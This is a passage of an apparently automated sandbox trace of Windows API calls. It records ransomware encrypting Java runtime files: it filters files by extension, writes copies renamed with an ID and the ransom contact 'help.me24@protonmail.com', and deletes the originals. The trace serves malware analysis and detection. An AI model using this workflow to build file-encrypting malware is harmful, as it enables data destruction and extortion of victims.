	[0193.372] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0193.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0193.372] lstrlenW (lpString=".dbf") returned 4
	[0193.372] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0193.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0193.372] lstrlenW (lpString=".1cd") returned 4
	[0193.372] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0193.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0193.372] lstrlenW (lpString=".jpg") returned 4
	[0193.372] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0193.372] lstrcmpiW (lpString1=".jfc", lpString2=".Z9") returned -1
	[0193.372] lstrlenW (lpString="default.jfc") returned 11
	[0193.372] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0193.373] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=20109) returned 1
	[0193.373] CloseHandle (hObject=0x35c) returned 1
	[0193.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20
	[0193.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.373] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0193.373] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.373] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.373] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0193.374] GetLastError () returned 0x0
	[0193.374] ReadFile (in: hFile=0x35c, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x4e8d, lpOverlapped=0x0) returned 1
	[0193.375] WriteFile (in: hFile=0x354, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0x4e90, lpOverlapped=0x0) returned 1
	[0193.376] ReadFile (in: hFile=0x35c, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.376] WriteFile (in: hFile=0x354, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0xea, lpOverlapped=0x0) returned 1
	[0193.376] SetEndOfFile (hFile=0x354) returned 1
	[0193.377] CloseHandle (hObject=0x354) returned 1
	[0193.377] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.377] SetEndOfFile (hFile=0x35c) returned 1
	[0193.377] CloseHandle (hObject=0x35c) returned 1
	[0193.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0193.378] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 1
	[0193.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0193.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0193.378] lstrlenW (lpString=".doc") returned 4
	[0193.378] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0193.378] lstrlenW (lpString=".docx") returned 5
	[0193.378] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1
	[0193.378] lstrlenW (lpString=".pdf") returned 4
	[0193.378] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0193.378] lstrlenW (lpString=".xls") returned 4
	[0193.378] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0193.378] lstrlenW (lpString=".xlsx") returned 5
	[0193.378] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1
	[0193.378] lstrlenW (lpString=".ppt") returned 4
	[0193.379] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0193.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0193.379] lstrlenW (lpString=".zip") returned 4
	[0193.379] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0193.379] lstrlenW (lpString=".rar") returned 4
	[0193.379] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0193.379] lstrlenW (lpString=".bz2") returned 4
	[0193.379] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0193.379] lstrlenW (lpString=".7z") returned 3
	[0193.379] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0193.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0193.379] lstrlenW (lpString=".dbf") returned 4
	[0193.379] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0193.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0193.379] lstrlenW (lpString=".1cd") returned 4
	[0193.379] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0193.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0193.379] lstrlenW (lpString=".jpg") returned 4
	[0193.379] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0193.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0193.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0193.379] lstrlenW (lpString=".doc") returned 4
	[0193.379] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0193.379] lstrlenW (lpString=".docx") returned 5
	[0193.379] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1
	[0193.379] lstrlenW (lpString=".pdf") returned 4
	[0193.379] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0193.379] lstrlenW (lpString=".xls") returned 4
	[0193.379] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0193.379] lstrlenW (lpString=".xlsx") returned 5
	[0193.379] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1
	[0193.379] lstrlenW (lpString=".ppt") returned 4
	[0193.379] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0193.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0193.379] lstrlenW (lpString=".zip") returned 4
	[0193.379] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0193.380] lstrlenW (lpString=".rar") returned 4
	[0193.380] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0193.380] lstrlenW (lpString=".bz2") returned 4
	[0193.380] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0193.380] lstrlenW (lpString=".7z") returned 3
	[0193.380] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0193.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0193.380] lstrlenW (lpString=".dbf") returned 4
	[0193.380] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0193.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0193.380] lstrlenW (lpString=".1cd") returned 4
	[0193.380] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0193.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54
	[0193.380] lstrlenW (lpString=".jpg") returned 4
	[0193.380] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0193.380] lstrcmpiW (lpString1=".jfc", lpString2=".Z9") returned -1
	[0193.380] lstrlenW (lpString="profile.jfc") returned 11
	[0193.380] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0193.380] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=20065) returned 1
	[0193.380] CloseHandle (hObject=0x35c) returned 1
	[0193.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20
	[0193.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.381] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0193.381] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.381] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.381] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0193.518] GetLastError () returned 0x0
	[0193.518] ReadFile (in: hFile=0x35c, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x4e61, lpOverlapped=0x0) returned 1
	[0193.519] WriteFile (in: hFile=0x39c, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0x4e70, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0x4e70, lpOverlapped=0x0) returned 1
	[0193.521] ReadFile (in: hFile=0x35c, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.521] WriteFile (in: hFile=0x39c, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0xea, lpOverlapped=0x0) returned 1
	[0193.521] SetEndOfFile (hFile=0x39c) returned 1
	[0193.521] CloseHandle (hObject=0x39c) returned 1
	[0193.521] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.521] SetEndOfFile (hFile=0x35c) returned 1
	[0193.522] CloseHandle (hObject=0x35c) returned 1
	[0193.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0193.522] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 1
	[0193.523] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0193.523] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0193.523] lstrlenW (lpString=".doc") returned 4
	[0193.523] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0193.523] lstrlenW (lpString=".docx") returned 5
	[0193.523] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1
	[0193.523] lstrlenW (lpString=".pdf") returned 4
	[0193.523] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0193.523] lstrlenW (lpString=".xls") returned 4
	[0193.523] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0193.523] lstrlenW (lpString=".xlsx") returned 5
	[0193.523] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1
	[0193.523] lstrlenW (lpString=".ppt") returned 4
	[0193.523] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0193.523] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0193.523] lstrlenW (lpString=".zip") returned 4
	[0193.523] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0193.523] lstrlenW (lpString=".rar") returned 4
	[0193.523] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0193.523] lstrlenW (lpString=".bz2") returned 4
	[0193.523] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0193.523] lstrlenW (lpString=".7z") returned 3
	[0193.523] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0193.523] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0193.523] lstrlenW (lpString=".dbf") returned 4
	[0193.523] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0193.523] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0193.523] lstrlenW (lpString=".1cd") returned 4
	[0193.523] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0193.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0193.524] lstrlenW (lpString=".jpg") returned 4
	[0193.524] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0193.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0193.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0193.524] lstrlenW (lpString=".doc") returned 4
	[0193.524] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0193.524] lstrlenW (lpString=".docx") returned 5
	[0193.524] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1
	[0193.524] lstrlenW (lpString=".pdf") returned 4
	[0193.524] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0193.524] lstrlenW (lpString=".xls") returned 4
	[0193.524] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0193.524] lstrlenW (lpString=".xlsx") returned 5
	[0193.524] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1
	[0193.524] lstrlenW (lpString=".ppt") returned 4
	[0193.524] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0193.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0193.524] lstrlenW (lpString=".zip") returned 4
	[0193.524] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0193.524] lstrlenW (lpString=".rar") returned 4
	[0193.524] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0193.524] lstrlenW (lpString=".bz2") returned 4
	[0193.524] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0193.524] lstrlenW (lpString=".7z") returned 3
	[0193.524] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0193.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0193.524] lstrlenW (lpString=".dbf") returned 4
	[0193.524] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0193.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0193.524] lstrlenW (lpString=".1cd") returned 4
	[0193.524] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0193.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0193.524] lstrlenW (lpString=".jpg") returned 4
	[0193.524] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0193.525] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0193.525] lstrlenW (lpString="logging.properties") returned 18
	[0193.525] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0193.525] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=2455) returned 1
	[0193.525] CloseHandle (hObject=0x35c) returned 1
	[0193.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20
	[0193.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.525] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0193.525] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.525] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.526] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0193.537] GetLastError () returned 0x0
	[0193.537] ReadFile (in: hFile=0x35c, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x997, lpOverlapped=0x0) returned 1
	[0193.538] WriteFile (in: hFile=0x39c, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0x9a0, lpOverlapped=0x0) returned 1
	[0193.539] ReadFile (in: hFile=0x35c, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.539] WriteFile (in: hFile=0x39c, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0xf8, lpOverlapped=0x0) returned 1
	[0193.539] SetEndOfFile (hFile=0x39c) returned 1
	[0193.539] CloseHandle (hObject=0x39c) returned 1
	[0193.539] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.539] SetEndOfFile (hFile=0x35c) returned 1
	[0193.540] CloseHandle (hObject=0x35c) returned 1
	[0193.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0193.540] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 1
	[0193.541] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0193.541] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0193.541] lstrlenW (lpString=".doc") returned 4
	[0193.541] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0193.541] lstrlenW (lpString=".docx") returned 5
	[0193.541] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0193.541] lstrlenW (lpString=".pdf") returned 4
	[0193.541] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0193.541] lstrlenW (lpString=".xls") returned 4
	[0193.541] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0193.541] lstrlenW (lpString=".xlsx") returned 5
	[0193.541] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0193.541] lstrlenW (lpString=".ppt") returned 4
	[0193.541] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0193.541] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0193.541] lstrlenW (lpString=".zip") returned 4
	[0193.541] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0193.541] lstrlenW (lpString=".rar") returned 4
	[0193.541] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0193.541] lstrlenW (lpString=".bz2") returned 4
	[0193.541] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0193.541] lstrlenW (lpString=".7z") returned 3
	[0193.541] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0193.541] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0193.541] lstrlenW (lpString=".dbf") returned 4
	[0193.541] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0193.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0193.542] lstrlenW (lpString=".1cd") returned 4
	[0193.542] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0193.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0193.542] lstrlenW (lpString=".jpg") returned 4
	[0193.542] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0193.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0193.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0193.542] lstrlenW (lpString=".doc") returned 4
	[0193.542] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0193.542] lstrlenW (lpString=".docx") returned 5
	[0193.542] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0193.542] lstrlenW (lpString=".pdf") returned 4
	[0193.542] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0193.542] lstrlenW (lpString=".xls") returned 4
	[0193.542] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0193.542] lstrlenW (lpString=".xlsx") returned 5
	[0193.542] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0193.542] lstrlenW (lpString=".ppt") returned 4
	[0193.542] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0193.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0193.542] lstrlenW (lpString=".zip") returned 4
	[0193.542] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0193.542] lstrlenW (lpString=".rar") returned 4
	[0193.542] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0193.542] lstrlenW (lpString=".bz2") returned 4
	[0193.542] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0193.542] lstrlenW (lpString=".7z") returned 3
	[0193.542] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0193.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0193.542] lstrlenW (lpString=".dbf") returned 4
	[0193.542] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0193.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0193.542] lstrlenW (lpString=".1cd") returned 4
	[0193.542] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0193.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0193.543] lstrlenW (lpString=".jpg") returned 4
	[0193.543] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0193.543] lstrcmpiW (lpString1=".access", lpString2=".Z9") returned -1
	[0193.543] lstrlenW (lpString="jmxremote.access") returned 16
